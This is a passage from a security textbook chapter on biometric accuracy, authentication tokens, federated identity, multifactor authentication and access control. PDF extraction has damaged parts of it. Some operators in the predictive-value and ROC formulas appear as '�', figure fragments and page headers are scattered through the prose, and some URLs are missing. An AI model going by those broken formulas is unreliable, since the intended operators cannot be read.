Test is Negative (There is no match.)

False Negative True Negative

Section 2.1 Authentication 57

TABLE 2-7 Reference Standard with Variables

Is the Person Claimed Is Not the Person Claimed

Test is Positive True Positive � a False Positive � b

Test is Negative False Negative � c True Negative � d

number of false positives and false negatives. To assist us, we calculate the positive predictive value of a test: a number that expresses how many times a positive match actually represents the identification of the sought person. The positive predictive value is a / (a � b). Similarly, we can calculate the negative predictive value of the test as d / (c � d). We can use the predic- tive values to give us an idea of when a result is likely to be positive or negative. For example, a positive result of a condition that has high preva- lence is likely to be positive. However, a positive result for an uncommon condition is likely to be a false positive.

The sensitivity and specificity change for a given test, depending on the level of the test that defines a match. For example, the test could call it a match only if it is an exact match: only ‘Smith’ would match ‘Smith.’ Such a match criterion would have fewer positive results (that is, fewer situa- tions considered to match) than one that uses Soundex to declare that two names are the same: ‘Smith’ is the same as ‘Smythe,’ ‘Smeth,’ ‘Smitt,’ and other similarly sounding names. Consequently, the two tests vary in their sensitivity. The Soundex criterion is less strict and is likely to produce more positive matches; therefore, it is the more sensitive but less specific test. In general, consider the range of sensitivities that can result as we change the test criteria. We can improve the sensitivity by making the criterion for a positive test less strict. Similarly, we can improve the specificity by making the criterion for a positive test stricter.

A receiver operating characteristic (ROC) curve is a graphical rep- resentation of the trade-off between the false negative and false positive rates. Traditionally, the graph of the ROC shows the false positive rate (1 � specificity) on the x-axis and the true positive rate (sensitivity or 1 � the false negative rate) on the y-axis. The accuracy of the test cor- responds to the area under the curve. An area of 1 represents the perfect test, whereas an area of 0.5 is a worthless test. Ideally, we want a test to be as far left and as high on the graph as possible, representing a test with a high rate of true positives and a low rate of false positives. That is, the larger the area under the curve, the more the test is identifying true posi- tives and minimizing false positives. Figure 2-4 shows examples of ROC curves and their relationship to sensitivity and specificity.


58 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

• The speed at which a recognition must be done limits accuracy. We might ide- ally like to take several readings and merge the results or evaluate the closest fit. But authentication is done to allow a user to do something: Authentication is not the end goal but a gate keeping the user from the goal. The user understandably wants to get past the gate and becomes frustrated and irritated if authentication takes too long.

• Although we like to think of biometrics as unique parts of an individual, forger- ies are possible. Some examples of forgeries are described in Sidebar 2-7.

Biometrics depend on a physical characteristic that can vary from one day to the next or as people age. Consider your hands, for example: On some days, the temperature, your activity level, or other factors may cause your hands to swell, thus distorting your hands’ physical characteristics. But an authentication should not fail just because the day is hot. Biometric recognition also depends on how the sample is taken. For hand geometry, for example, you place your hand on a template, but measurements will vary slightly depending on exactly how you position your hand.

Authentication with biometrics uses a pattern or template, much like a baseline, that represents measurement of the characteristic. When you use a biometric for






0.0 0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0

FIT Good (0.774) V. Good (0.877)

Poor (0.574)

1 − Specificity

S en

si ti

vi ty

FIGURE 2-4 ROC Curves

SIDEBAR 2-6 Continued

For a matching or screening system, as for any test, system admin- istrators must determine what levels of sensitivity and specificity are acceptable. The levels depend on the intention of the test, the setting, the prevalence of the target criterion, alternative methods for accomplishing the same goal, and the costs and benefits of testing.

Section 2.1 Authentication 59

authentication, a current set of measurements is taken and compared to the template. The current sample need not exactly match the template, however. Authentication succeeds if the match is “close enough,” meaning it is within a predefined tolerance, for example, if 90 percent of the values match or if each parameter is within 5 percent of its expected value. Measuring, comparing, and assessing closeness for the match takes time, cer- tainly longer than the “exact match or not” comparison for passwords. (Consider the result described in Sidebar 2-8.) Therefore, the speed and accuracy of biometrics is a fac- tor in determining their suitability for a particular environment of use.

Remember that identification is stating an identity, whereas authentication is con- firming the identity, as depicted in Figure 2-5. Biometrics are reliable for authentication but are much less reliable for identification. The reason is mathematical. All biometric readers operate in two phases. First, a user registers with the reader, during which time a characteristic of the user (for example, the geometry of the hand) is captured and reduced to a set of data points. During registration, the user may be asked to present the hand several times so that the registration software can adjust for variations, such as how the hand is positioned. Registration produces a pattern, called a template, of

SIDEBAR 2-7 Biometric Forgeries

The most famous fake was an artificial fingerprint produced by researchers in Japan using cheap and readily available gelatin. The researchers used molds made by pressing live fingers against them or by processing finger- print images from prints on glass surfaces. The resulting “gummy fingers” were frequently accepted by 11 particular fingerprint devices with optical or capacitive sensors. [MAT02]

According to another story from BBC news (13 Mar 2013) a doctor in Brazil was caught with sixteen fingers: ten authentic and six made of silicone that she used to log in to the hospital’s time-card system on behalf of fellow doctors.

In a study published in 2014 [BOW14], researchers looked at whether contact lenses can be used to fool authentication devices that look at the pattern of the iris (the colored ring of the eye). The goal of the research was to determine whether iris recognition systems reliably detect true positives; that is, whether a subject will be reliably authenticated by the system. The researchers demonstrated that tinted contact lenses can fool the system into denying a match when one really exists. A subject might apply con- tact lenses in order to not be noticed as a wanted criminal, for example. Although difficult and uncommon, forgery will be an issue whenever the reward for a false result is high enough.

Biometric matches are not exact; the issue is whether the rate of false positives and false negatives is acceptable.

60 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

the data points particular to a specific user. In the second phase the user later seeks authentication from the system, during which time the system remeasures the hand and compares the new measurements with the stored template. If the new measurement is close enough to the template, the system accepts the authentication; otherwise, the system rejects it. Sidebar 2-9 points out the problem in confusing identification and authentication.

SIDEBAR 2-8 Fingerprint Capture—Not So Fast!

Recording or capturing fingerprints should be a straightforward process. Some countries use fingerprints to track foreign visitors who enter the country, and so they want to know the impact on processing visitors at the border. On television and in the movies it seems as if obtaining a good fin- gerprint image takes only a second or two.

Researchers at the U.S. National Institute of Standards and Technol- ogy (NIST) performed a controlled experiment involving over 300 subjects generally representative of the U.S. population [THE07]. They found that contrary to television, obtaining a quality sample of all ten fingers takes between 45 seconds and a minute.

FIGURE 2-5 Identification and Authentication (courtesy of Lfoxy/Shutterstock [left]; Schotter Studio/Shutterstock [right])

Identification Authentication

Right, sir. I'll just have to check your


I am Aloysius Biltmore Snowman.

Section 2.1 Authentication 61

SIDEBAR 2-9 DNA for Identification or Authentication

In December 1972, a nurse in San Francisco was sexually assaulted and brutally murdered in her apartment. The landlady, who confronted a man as he rushed out of the apartment, gave a physical description to the police. At the crime scene, police collected evidence, including DNA samples of the assumed murderer. After months of investigation, however, police were unable to focus in on a suspect and the case was eventually relegated to the pile of unsolved cases.

Thirty years later, the San Francisco Police Department had a grant to use DNA to solve open cases and, upon reopening the 1972 case, they found one slide with a deteriorated DNA sample. For investigative pur- poses, scientists isolate 13 traits, called markers, in a DNA sample. The odds of two different people matching on all 13 markers is 1 in 1 quadrillion (1*1015). However, as described in a Los Angeles Times story by Jason Felch and Maura Dolan [FEL08], the old sample in this case had deterio- rated and only 51⁄2 of 13 markers were reliable. With only that many markers, the likelihood that two people would match drops to 1 in 1.1 million, and remember that for the purpose here, two people’s DNA matching means at least one sample is not the criminal’s.

Next, the police wanted to compare the sample with the California state database of DNA samples of convicted criminals. But to run such a comparison, administrators require at least 7 markers and police had only 51⁄2. To search the database, police used values from two other markers that were too faint to be considered conclusive. With seven markers, police polled the database of 338,000 and came up with one match, a man sub- sequently tried and convicted of this crime, a man whose defense attorneys strongly believe is innocent. He had no connection to the victim, his finger- prints did not match any collected at the crime scene, and his previous conviction for a sex crime had a different pattern.

The issue is that police are using the DNA match as an identifier, not an authenticator. If police have other evidence against a particular suspect and the suspect’s DNA matches that found at the crime scene, the likeli- hood of a correct identification increases. However, if police are looking only to find anyone whose DNA matches a sample, the likelihood of a false match rises dramatically. Remember that with a 1 in 1.1 million false match rate, if you assembled 1.1 million people, you would expect that one would falsely match your sample, or with 0.5 million people you would think the likelihood of a match to be approximately 1 in 2. The likelihood of a false match falls to 1 in 1.1 million people only if you examine just one person.

Think of this analogy: If you buy one lottery ticket in a 1.1 million ticket lottery, your odds of winning are 1 in 1.1 million. If you buy two tickets, your odds increase to 2 in 1.1 million, and if you buy 338,000 tickets your odds become 338,000 in 1.1 million, or roughly 1 in 3. For this reason, when seek- ing identification, not authentication, both the FBI’s DNA advisory board and a panel of the National Research Council recommend multiplying the


62 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Accuracy of Biometrics

We think of biometrics—or any authentication technology—as binary: A person either passes or fails, and if we just set the parameters correctly, most of the right people will pass and most of the wrong people will fail. That is, the mechanism does not discrimi- nate. In fact, the process is biased, caused by the balance between sensitivity and selec- tivity: Some people are more likely to pass and others more likely to fail. Sidebar 2-10 describes how this can happen.

Until recently police and the justice system assumed that fingerprints are unique. However, there really is no mathematical or scientific basis for this assumption. In fact, fingerprint identification has been shown to be fallible, and both human and computer- ized fingerprint comparison systems have also shown failures. Part of the comparison problem relates to the fact that not an entire fingerprint is compared, only characteristics at significant ridges on the print. Thus, humans or machines examine only salient features, called the template of that print.

Unless every template is unique, that is, no two people have the same values, the system cannot uniquely identify subjects. However, as long as an imposter is unlikely to have the same biometric template as the real user, the system can authenticate. In authentication we do not look through all templates to see who might match a set of measured features; we simply determine whether one person’s features match his stored template. Biometric authentication is feasible today; biometric identification is largely still a research topic.

Measuring the accuracy of biometric authentication is difficult because the authen- tication is not unique. In an experimental setting, for any one subject or collection of subjects we can compute the false negative and false positive rates because we know the subjects and their true identities. But we cannot extrapolate those results to the world and ask how many other people could be authenticated as some person. We are limited because our research population and setting may not reflect the real world. Product vendors make many claims about the accuracy of biometrics or a particular biometric feature, but few independent researchers have actually tried to substantiate the claims. In one experiment described in Sidebar 2-11, expert fingerprint examiners, the people who testify about fingerprint evidence at trials, failed some of the time.

general probability (1 in 1.1 million) by the number of samples in the data- base to derive the likelihood of a random—innocent—match.

Although we do not know whether the person convicted in this case was guilty or innocent, the reasoning reminds us to be careful to distinguish between identification and authentication.

SIDEBAR 2-9 Continued

Biometric authentication means a subject matches a template closely enough. “Close” is a system parameter that can be tuned.

Section 2.1 Authentication 63

SIDEBAR 2-10 Are There Unremarkable People?

Are there people for whom a biometric system simply does not work? That is, are there people, for example, whose features are so indistinguishable they will always pass as someone else?

Doddington et al. [DOD98] examined systems and users to find spe- cific examples of people who tend to be falsely rejected unusually often, those against whose profiles other subjects tend to match unusually often, and those who tend to match unusually many profiles.

To these classes Yager and Dunstone [YAG10] added people who are likely to match and cause high rates of false positives and those people who are unlikely to match themselves or anyone else. The authors then studied different biometric analysis algorithms in relation to these difficult cases.

Yager and Dunstone cited a popular belief that 2 percent of the popu- lation have fingerprints that are inherently hard to match. After analyzing a large database of fingerprints (the US-VISIT collection of fingerprints from foreign visitors to the United States) they concluded that few, if any, people are intrinsically hard to match, and certainly not 2 percent.

They examined specific biometric technologies and found that some of the errors related to the technology, not to people. For example, they looked at a database of people iris recognition systems failed to match, but they found that many of those people were wearing glasses when they enrolled in the system; they speculate that the glasses made it more dif- ficult for the system to extract the features of an individual’s iris pattern. In another case, they looked at a face recognition system. They found that people the system failed to match came from one particular ethnic group and speculated that the analysis algorithm had been tuned to distinctions of faces of another ethnic group. Thus, they concluded that matching errors are more likely the results of enrollment issues and algorithm weaknesses than of any inherent property of the people’s features.

Still, for the biometric systems they studied, they found that for a specific characteristic and analysis algorithm, some users’ characteristics perform better than other users’ characteristics. This research reinforces the need to implement such systems carefully so that inherent limitations of the algorithm, computation, or use do not disproportionately affect the outcome.

SIDEBAR 2-11 Fingerprint Examiners Make Mistakes

A study supported by the U.S. Federal Bureau of investigation [ULE11] addressed the validity of expert evaluation of fingerprints. Experimenters presented 169 professional examiners with pairs of fingerprints from a pool


64 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Authentication is essential for a computing system because accurate user identifi- cation is the key to individual access rights. Most operating systems and computing system administrators have applied reasonable but stringent security measures to lock out unauthorized users before they can access system resources. But, as reported in Sidebar 2-12, sometimes an inappropriate mechanism is forced into use as an authenti- cation device.

Losing or forgetting a biometric authentication is virtually impossible because bio- metrics rely on human characteristics. But the characteristics can change over time (think of hair color or weight); therefore, biometric authentication may be less precise than knowledge-based authentication. You either know a password or you don’t. But a fingerprint can be a 99 percent match or 95 percent or 82 percent, part of the variation depending on factors such as how you position your finger as the print is read, whether your finger is injured, and if your hand is cold or your skin is dry or dirty. Stress can also affect biometric factors, such as voice recognition, potentially working against security. Imagine a critical situation in which you need to access your computer urgently but your being agitated affects your voice. If the system fails your authentication and offers you the chance to try again, the added pressure may make your voice even worse, which threatens availability.

Biometrics can be reasonably quick and easy, and we can sometimes adjust the sen- sitivity and specificity to balance false positive and false negative results. But because biometrics require a device to read, their use for remote authentication is limited. The

SIDEBAR 2-11 Continued

of 744 prints to determine whether the prints matched. This experiment was designed to measure the accuracy (degree to which two examiners would reach the same conclusion) and reliability (degree to which one examiner would reach the same conclusion twice). A total of 4,083 fingerprint pairs were examined.

Of the pairs examined, six were incorrectly marked as matches, for a false positive rate of 0.01 percent. Although humans are recognized as fal- lible, frustratingly we cannot predict when they will be so. Thus, in a real-life setting, these false positives could represent six noncriminals falsely found guilty. The false negative rate was significantly higher, 7.5 percent, perhaps reflecting conservatism on the part of the examiners: The examiners were more likely to be unconvinced of a true match than to be convinced of a nonmatch.

The issue of false positives in fingerprint matching gained prominence after a widely publicized error related to the bombings in 2004 of commuter trains in Madrid, Spain. Brandon Mayfield, a U.S. lawyer living in Oregon, was arrested because the FBI matched his fingerprint with a print found on a plastic bag containing detonator caps at the crime scene. In 2006 the FBI admitted it had incorrectly classified the fingerprints as “an absolutely incontrovertible match.”

Section 2.1 Authentication 65

third factor of authentication, something you have, offers strengths and weaknesses different from the other two factors.

Authentication Based on Tokens: Something You Have

Something you have means that you have a physical object in your possession. One physical authenticator with which you are probably familiar is a key. When you put your key in your lock, the ridges in the key interact with pins in the lock to let the mechanism turn. In a sense the lock authenticates you for authorized entry because you possess an appropriate key. Of course, you can lose your key or duplicate it and give the duplicate to someone else, so the authentication is not perfect. But it is precise: Only your key works, and your key works only your lock. (For this example, we intentionally ignore master keys.)

SIDEBAR 2-12 Using Cookies for Authentication

On the web, cookies are often used for authentication. A cookie is a pair of data items sent to the web browser by the visited website. The data items consist of a key and a value, designed to represent the current state of a session between a visiting user and the visited website. Once the cookie is placed on the user’s system (usually in a directory with other cookies), the browser continues to use it for subsequent interaction between the user and that website. Each cookie is supposed to have an expiration date, but that date can be far in the future, and it can be modified later or even ignored.

For example, The Wall Street Journal ’s website,, creates a cookie when a user first logs in. In subsequent transactions, the cookie acts as an identifier; the user no longer needs a password to access that site. (Other sites use the same or a similar approach.)

Users must be protected from exposure and forgery. That is, users may not want the rest of the world to know what sites they have visited. Neither will they want someone to examine information or buy merchandise online by impersonation and fraud. And furthermore, on a shared computer, one user can act as someone else if the receiving site uses a cookie to per- form automatic authentication.

Sit and Fu [SIT01] point out that cookies were not designed for protec- tion. There is no way to establish or confirm a cookie’s integrity, and not all sites encrypt the information in their cookies.

Sit and Fu also point out that a server’s operating system must be particularly vigilant to protect against eavesdropping: “Most [web traffic] exchanges do not use [encryption] to protect against eavesdropping; any- one on the network between the two computers can overhear the traffic. Unless a server takes strong precautions, an eavesdropper can steal and reuse a cookie, impersonating a user indefinitely.” (In Chapter 6 we describe how encryption can be used to protect against such eavesdropping.)

66 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Other familiar examples of tokens are badges and identity cards. You may have an “affinity card”: a card with a code that gets you a discount at a store. Many students and employees have identity badges that permit them access to buildings. You must have an identity card or passport to board an airplane or enter a foreign country. In these cases you possess an object that other people recognize to allow you access or privileges.

Another kind of authentication token has data to communicate invisibly. Examples of this kind of token include credit cards with a magnetic stripe, credit cards with an embedded computer chip, or access cards with passive or active wireless technology. You introduce the token into an appropriate reader, and the reader senses values from the card. If your identity and values from your token match, this correspondence adds confidence that you are who you say you are.

We describe different kinds of tokens next.

Active and Passive Tokens

As the names imply, passive tokens do nothing, and active ones take some action. A photo or key is an example of a passive token in that the contents of the token never change. (And, of course, with photos permanence can be a problem, as people change hair style or color and their faces change over time.)

An active token can have some variability or interaction with its surroundings. For example, some public transportation systems use cards with a magnetic strip. When you insert the card into a reader, the machine reads the current balance, subtracts the price of the trip and rewrites a new balance for the next use. In this case, the token is just a repository to hold the current value. Another form of active token initiates a two- way communication with its reader, often by wireless or radio signaling. These tokens lead to the next dis- tinction among tokens, static and dynamic interaction.

Static and Dynamic Tokens

The value of a static token remains fixed. Keys, identity cards, passports, credit and other magnetic-stripe cards, and radio transmitter cards (called RFID devices) are examples of static tokens. Static tokens are most useful for onsite authentication: When a guard looks at your picture badge, the fact that you possess such a badge and that your face looks (at least vaguely) like the picture causes the guard to pass your authentication and allow you access.

We are also interested in remote authentication, that is, in your being able to prove your identity to a person or computer somewhere else. With the example of the picture badge, it may not be easy to transmit the image of the badge and the appearance of your face for a remote computer to compare. Worse, distance increases the possibility of forgery: A local guard could tell if you were wearing a mask, but a guard might not detect it from a remote image. Remote authentication is susceptible to the problem of the token having been forged.

Passive tokens do not change. Active tokens communicate with a sensor.

Section 2.1 Authentication 67

Tokens are vulnerable to an attack called skimming. Skimming is the use of a device to copy authentication data surreptitiously and relay it to an attacker. Automated teller machines (ATMs) and point-of-sale credit card readers are particularly vulnerable to skimming.1 At an ATM the thief attaches a small device over the slot into which you insert your bank card. Because all bank cards conform to a standard format (so you can use your card at any ATM or merchant), the thief can write a simple piece of software to copy and retain the information recorded on the magnetic stripe on your bank card. Some skimmers also have a tiny camera to record your key strokes as you enter your PIN on the keypad. Either instantaneously (using wireless communication) or later (col- lecting the physical device), the thief thus obtains both your account number and its PIN. The thief simply creates a dummy card with your account number recorded and, using the PIN for authentication, visits an ATM and withdraws cash from your account or purchases things with a cloned credit card.

Another form of copying occurs with passwords. If you have to enter or speak your password, someone else can look over your shoulder or overhear you, and now that authenticator is easily copied or forged. To overcome copying of physical tokens or passwords, we can use dynamic tokens. A dynamic token is one whose value changes. Although there are several different forms, a dynamic authentication token is essentially a device that generates an unpredictable value that we might call a pass number. Some devices change numbers at a particular interval, for example, once a minute; others change numbers when you press a button, and others compute a new number in response to an input, sometimes called a challenge. In all cases, it does not matter if someone else sees or hears you provide the pass number, because that one value will be valid for only one access (yours), and knowing that one value will not allow the outsider to guess or gener- ate the next pass number.

Dynamic token generators are useful for remote authentication, especially of a per- son to a computer. An example of a dynamic token is the SecurID token from RSA Lab- oratories, shown in Figure 2-6. To use a SecurID token, you enter the current number displayed on the token when prompted by the authenticating application. Each token generates a distinct, virtually unpredictable series of numbers that change every min- ute, so the authentication system knows what number to expect from your token at any moment. In this way, two people can have SecurID tokens, but each token authenticates only its assigned owner. Entering the number from another token does not pass your authentication. And because the token generates a new number every minute, entering the number from a previous authentication fails as well.

1. Note that this discussion refers to the magnetic-stripe cards popular in the United States. Most other coun- tries use embedded computer chip cards that are substantially less vulnerable to skimming.

Dynamic tokens have computing power on the token to change their internal state.

68 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

We have now examined the three bases of authentication: something you know, are, or have. Used in an appropriate setting, each can offer reasonable security. In the next sections we look at some ways of enhancing the basic security from these three forms.

Federated Identity Management

If these different forms of authentication seem confusing and overwhelming, they can be. Consider that some systems will require a password, others a fingerprint scan, oth- ers an active token, and others some combination of techniques. As you already know, remembering identities and distinct passwords for many systems is challenging. People who must use several different systems concurrently (email, customer tracking, inven- tory, and sales, for example) soon grow weary of logging out of one, into another, refreshing a login that has timed out, and creating and updating user profiles. Users rightly call for computers to handle the bookkeeping.

A federated identity management scheme is a union of separate identification and authentication systems. Instead of maintaining separate user profiles, a federated scheme maintains one profile with one authentication method. Separate systems share access to the authenticated identity database. Thus, authentication is performed in one place, and sepa- rate processes and systems deter- mine that an already authenticated user is to be activated. Such a pro- cess is shown in Figure 2-7.

Closely related is a single sign-on process, depicted in Figure 2-8. Think of an umbrella procedure to which you log in once per session (for example, once a day). The umbrella procedure maintains your identities and authentication codes for all the different processes you access. When you want to access email, for example, instead of your completing a user ID and password screen, the single sign-on process passes those details to the email handler, and you resume control after the authentication step has succeeded.

Time-Based Token Authentication


Login: mcollings



Clock synchronized to UCT

Unique seed

Token code: Changes every

60 seconds

FIGURE 2-6 SecurID Token (Photo courtesy of RSA, the security division of EMS and copy- right © RSA Corporation, all rights reserved.)

Federated identity management unifies the identification and authentication process for a group of systems.

Section 2.1 Authentication 69

FIGURE 2-7 Federated Identity Manager

User Identity Manager

(performs authentication)

Authenticated Identity

Application (no authentication)

Application (no authentication)

Application (no authentication)

User Single Sign-On Shell

Identification and Authentication








FIGURE 2-8 Single Sign-On

70 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

The difference between these two approaches is that federated identity management involves a single identity management module that replaces identification and authenti- cation in all other systems. Thus all these systems invoke the identity management mod- ule. With single sign-on, systems still call for individual identification and authentication, but the umbrella task performs those interactions on behalf of the user.

Multifactor Authentication

The single-factor authentication approaches discussed in this chapter offer advantages and disadvantages. For example, a token works only as long as you do not give it away (or lose it or have it stolen), and password use fails if someone can see you enter your password by peering over your shoulder. We can compensate for the limitation of one form of authentication by combining it with another form.

Identity cards, such as a driver’s license, often contain a picture and signature. The card itself is a token, but anyone seeing that card can compare your face to the picture and confirm that the card belongs to you. Or the person can ask you to write your name and can compare signatures. In that way, the authentication is both token based and bio- metric (because your appearance and the way you sign your name are innate properties of you). Notice that your credit card has a space for your signature on the back, but in the United States few merchants compare that signature to the sales slip you sign. Hav- ing authentication factors available does not necessarily mean we use them.

As long as the process does not become too onerous, authentication can use two, three, four, or more factors. For example, to access something, you must type a secret code, slide your badge, and hold your hand on a plate.

Combining authentication information is called multifactor authentication. Two forms of authentication (which is, not surprisingly, known as two-factor authentica- tion) are presumed to be better than one, assuming of course that the two forms are strong. But as the number of forms increases, so also does the user’s inconvenience. Each authentication factor requires the system and its administrators and the users to manage more security information. We assume that more factors imply higher confi- dence, although few studies support that assumption. And two kinds of authentication imply two pieces of software and perhaps two kinds of readers, as well as the time to perform two authentications. Indeed, even if multifactor authentication is superior to single factor, we do not know which value of n makes n-factor authentication opti- mal. From a usability point of view, large values of n may lead to user frustration and reduced security, as shown in Sidebar 2-13.

Secure Authentication

Passwords, biometrics, and tokens can all participate in secure authentication. Of course, simply using any or all of them is no guarantee that an authentication approach will be secure. To achieve true security, we need to think carefully about the problem we are trying to solve and the tools we have; we also need to think about blocking possible attacks and attackers.

Single sign-on takes over sign-on and authentication to several independent systems for a user.

Section 2.1 Authentication 71

Suppose we want to control access to a computing system. In addition to a name and password, we can use other information available to authenticate users. Suppose Adams works in the accounting department during the shift between 8:00 a.m. and 5:00 p.m., Monday through Friday. Any legitimate access attempt by Adams should be made dur- ing those times, through a workstation in the accounting department offices. By limiting Adams to logging in under those conditions, the system protects against two problems:

• Someone from outside might try to impersonate Adams. This attempt would be thwarted by either the time of access or the port through which the access was attempted.

• Adams might attempt to access the system from home or on a weekend, plan- ning to use resources not allowed or to do something that would be too risky with other people around.

Limiting users to certain workstations or certain times of access can cause complica- tions (as when a user legitimately needs to work overtime, a person has to access the system while out of town on business, or a particular workstation fails). However, some companies use these authentication techniques because the added security they provide outweighs inconvenience. As security analysts, we need to train our minds to recognize qualities that distinguish normal, allowed activity.

As you have seen, security practitioners have a variety of authentication mechanisms ready to use. None is perfect; all have strengths and weaknesses, and even combinations

SIDEBAR 2-13 When More Factors Mean Less Security

Dave Concannon’s blog at describes his frustration at using Ulsterbank’s online banking system. The logon pro- cess involves several steps. First, the user supplies a customer identifi- cation number (the first authentication factor). Next, a separate user ID is required (factor 2). Third, the PIN is used to supply a set of digits (factor 3), as shown in the figure below: The system requests three different digits chosen at random (in the figure, the third, second, and fourth digits are to be entered). Finally, the system requires a passphrase of at least ten char- acters, some of which must be numbers (factor 4).

In his blog, Concannon rails about the difficulties not only of log- ging on but also of changing his password. With four factors to remember, Ulsterbank users will likely, in frustration, write down the factors and carry them in their wallets, thereby reducing the banking system’s security.

72 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

of mechanisms are imperfect. Often the user interface seems simple and foolproof (what could be easier than laying a finger on a glass plate?), but as we have described, underneath that simplicity lies uncertainty, ambiguity, and vulnerability. Nevertheless, in this section you have seen types and examples so that when you develop systems and applications requiring authentication, you will be able to draw on this background to pick an approach that achieves your security needs.


In this section we discuss how to protect general objects, such as files, tables, access to hardware devices or network connections, and other resources. In general, we want a flexible structure, so that certain users can use a resource in one way (for example, read- only), others in a different way (for example, allowing modification), and still others not at all. We want techniques that are robust, easy to use, and efficient.

We start with the basic access control paradigm, articulated by Scott Graham and Peter Denning [GRA72]: A subject is permitted to access an object in a particular mode, and only such authorized accesses are allowed.

• Subjects are human users, often represented by surrogate programs running on behalf of the users.

• Objects are things on which an action can be performed: Files, tables, programs, memory objects, hardware devices, strings, data fields, network connections, and processors are examples of objects. So too are users, or rather programs or processes representing users, because the operating system (a program repre- senting the system administrator) can act on a user, for example, allowing a user to execute a program, halting a user, or assigning privileges to a user.

• Access modes are any controllable actions of subjects on objects, including, but not limited to, read, write, modify, delete, execute, create, destroy, copy, export, import, and so forth.

Effective separation will keep unauthorized subjects from unauthorized access to objects, but the separation gap must be crossed for authorized subjects and modes. In this section we con- sider ways to allow all and only authorized accesses.

Access Policies

Access control is a mechanical process, easily implemented by a table and computer process: A given subject either can or cannot access a particular object in a specified way. Underlying the straightforward decision is a complex and nuanced decision of which accesses should be allowed; these decisions are based on a formal or informal security policy.

Access control: limiting who can access what in what ways

Section 2.2 Access Control 73

Access control decisions are (or should not be) made capriciously. Pat gets access to this file because she works on a project that requires the data; Sol is an administrator and needs to be able to add and delete users for the system. Having a basis simplifies making similar decisions for other users and objects. A policy also simplifies establish- ing access control rules, because they just reflect the existing policy.

Thus, before trying to implement access control, an organization needs to take the time to develop a higher-level security policy, which will then drive all the access con- trol rules.

Effective Policy Implementation

Protecting objects involves several complementary goals.

• Check every access. We may want to revoke a user’s privilege to access an object. If we have previously authorized the user to access the object, we do not necessarily intend that the user should retain indefinite access to the object. In fact, in some situations, we may want to prevent further access immediately after we revoke authorization, for example, if we detect a user being imperson- ated. For this reason, we should aim to check every access by a user to an object.

• Enforce least privilege. The principle of least privilege states that a subject should have access to the smallest number of objects necessary to perform some task. Even if extra information would be useless or harmless if the subject were to have access, the subject should not have that additional access. For example, a program should not have access to the absolute memory address to which a page number reference translates, even though the program could not use that address in any effective way. Not allowing access to unneces- sary objects guards against security weaknesses if a part of the protection mechanism should fail.

• Verify acceptable usage. Ability to access is a yes-or-no decision. But equally important is checking that the activity to be performed on an object is appropri- ate. For example, a data structure such as a stack has certain acceptable opera- tions, including push, pop, clear, and so on. We may want not only to control who or what has access to a stack but also to be assured that all accesses per- formed are legitimate stack accesses.


Implementing an appropriate policy is not the end of access administration. Sometimes administrators need to revisit the access policy to determine whether it is working as it should. Has someone been around for a long time and so has acquired a large number of no-longer-needed rights? Do so many users have access to one object that it no longer needs to be controlled? Or should it be split into several objects so that individuals can be allowed access to only the pieces they need? Administrators need to consider these

Least privilege: access to the fewest resources necessary to complete some task

74 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

kinds of questions on occasion to determine whether the policy and implementation are doing what they should. We explore the management side of defining security policies in Chapter 10, but we preview some issues here because they have a technical bearing on access control.

Granularity By granularity we mean the fineness or specificity of access control. It is a spectrum: At one end you can control access to each individual bit or byte, each word in a docu- ment, each number on a spreadsheet, each photograph in a collection. That level of specificity is generally excessive and cumbersome to implement. The finer the granu- larity, the larger number of access control decisions that must be made, so there is a performance penalty. At the other extreme you simply say Adam has complete access to computer C1. That approach may work if the computer is for Adam’s use alone, but if computer C1 is shared, then the system has no basis to control or orchestrate that shar- ing. Thus, a reasonable midpoint must apply.

Typically a file, a program, or a data space is the smallest unit to which access is con- trolled. However, note that applications can implement their own access control. So, for example, as we describe in Chapter 7, a database management system can have access to a complete database, but it then carves the database into smaller units and parcels out access: This user can see names but not salaries, that user can see only data on employ- ees in the western office.

Hardware devices, blocks of memory, the space on disk where program code is stored, specific applications, all these are likely objects over which access is controlled.

Access Log After making an access decision, the system acts to allow that access and leaves the user and the object to complete the transaction. Systems also record which accesses have been permitted, creating what is called an audit log. This log is created and maintained by the system, and it is preserved for later analysis. Several reasons for logging access include the following:

• Records of accesses can help plan for new or upgraded equipment, by showing which items have had heavy use.

• If the system fails, these records can show what accesses were in progress and perhaps help identify the cause of failure.

• If a user misuses objects, the access log shows exactly which objects the user did access.

• In the event of an external compromise, the audit log may help identify how the assailant gained access and which data items were accessed (and therefore revealed or compromised). These data for after-the-fact forensic analysis have been extremely helpful in handling major incidents.

As part of the access control activity, the system builds and protects this audit log. Obviously, granularity matters: A log that records each memory byte accessed is too lengthy to be of much practical value, but a log that says “8:01 user turned on system; 17:21 user turned off system” probably contains too little detail to be helpful.

Section 2.2 Access Control 75

In the next section we consider protection mechanisms appropriate for general objects of unspecified types, such as the kinds of objects listed above. To make the explanations easier to understand, we sometimes use an example of a specific object, such as a file. Note, however, that a general mechanism can be used to protect any of the types of objects listed.

Limited Privilege

Limited privilege is the act of restraining users and processes so that any harm they can do is not catastrophic. A system that prohibits all accesses to anything by anyone cer- tainly achieves both confidentiality and integrity, but it completely fails availability and usefulness. Thus, we seek a midpoint that balances the need for some access against the risk of harmful, inappropriate access. Certainly, we do not expect users or processes to cause harm. But recognizing that not all users are ethical or even competent and that not all processes function as intended, we want to limit exposure from misbehaving users or malfunctioning processes. Limited privilege is a way to constrain that exposure.

Limited privilege is a management concept, not a technical control. The process of analyzing users and determining the privileges they require is a necessary first step to authorizing within those limits. After establishing the limits, we turn to access control technology to enforce those limits. In Chapter 3 we again raise the concept of lim- ited privilege when we describe program design and implementation that ensures secu- rity. Security design principles first written by Jerome Saltzer and Michael Schroeder [SAL75] explain the advantage of limiting the privilege with which users and their programs run.

Implementing Access Control

